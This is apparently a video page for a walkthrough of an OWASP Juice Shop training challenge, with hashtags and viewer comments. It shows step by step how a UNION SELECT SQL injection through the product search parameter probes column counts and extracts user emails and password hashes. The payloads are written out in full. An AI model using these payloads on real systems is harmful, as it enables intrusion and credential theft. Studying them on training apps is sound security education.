How to Get database schema via SQL injection retrieve list of all user credentials via SQL injection

Retrieve a list of all user credentials via SQL Injection
During the Order the Christmas special offer of 2014 challenge you learned that the /rest/products/search endpoint is susceptible to SQL Injection into the q parameter.
The attack payload you need to craft is a UNION SELECT merging the data from the user's DB table into the products returned in the JSON result.
As a starting point we use the known working '))-- attack pattern and try to make a UNION SELECT out of it
Searching for ')) UNION SELECT * FROM x-- fails with a SQLITE_ERROR: no such table: x as you would expect. But we can easily guess the table name or infer it from one of the previous attacks on the Login form where even the underlying SQL query was leaked.
Searching for ')) UNION SELECT * FROM Users-- fails with a promising SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns which least confirms the table name.
The next step in a UNION SELECT-attack is typically to find the right number of returned columns. As the Search Results table in the UI has 3 columns displaying data, it will probably at least be three. You keep adding columns until no more SQLITE_ERROR occurs (or at least it becomes a different one):

')) UNION SELECT '1' FROM Users-- fails with number of result columns error
')) UNION SELECT '1', '2' FROM Users-- fails with number of result columns error
')) UNION SELECT '1', '2', '3' FROM Users-- fails with number of result columns error
(...)
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8' FROM Users-- still fails with number of result columns error
')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM Users-- finally gives you a JSON response back with an extra element {"id":"1","name":"2","description":"3","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"}.
Next you get rid of the unwanted product results changing the query into something like qwert')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM Users-- leaving only the "UNIONed" element in the result set

The last step is to replace the fixed values with correct column names. You could guess those or derive them from the RESTful API results or remember them from previously seen SQL errors while attacking the Login form.
Searching for qwert')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users-- solves the challenge giving you a the list of all user data in convenient JSON format.

#Ex #filtrate the #entire #DB #schema via #SQL #Injection and Retrieve a list of all users #OWASP #Juice #Shop
#discover #database #schema #via #sql #injection
#retrieve a #list of all #user #credentials via #sql #injection
#sql #injection #cheat #sheet
#provoke an #error that is #neither very #gracefully nor #consistently #handled
prevent sql injection attacks
owasp juice shop sql injection
sql injection dump database
sql injection cheat sheet
prevent sql injection attacks
owasp juice shop sql injection
sql injection dump database
sql injection best practices
discover database schema via sql injection
sql injection best practices

[dimplepal]

This video is super useful. For a newbiw like me needs to get hands-on with the manual approach just like the way you described. Thank you for the video. Please keep continuing to make such videos.:)

[kpeqxkd]

Can we call this vuln Boolean blind sqli? As we use Union, would it also fit in SQLi In-band based in union?

[roshanrajkumar]

Why did you replace 1 with sql? Please explain sir..I did not understand this part

[kudrah]

Hey man, i tried contacting you on you other youtube video but i couldn't get hold of you. I had asked about your skype so that i can brief you the task. Thanks

[roshanrajkumar]

Hey, I’ve got few doubts, can I contact you? Amazing video BTW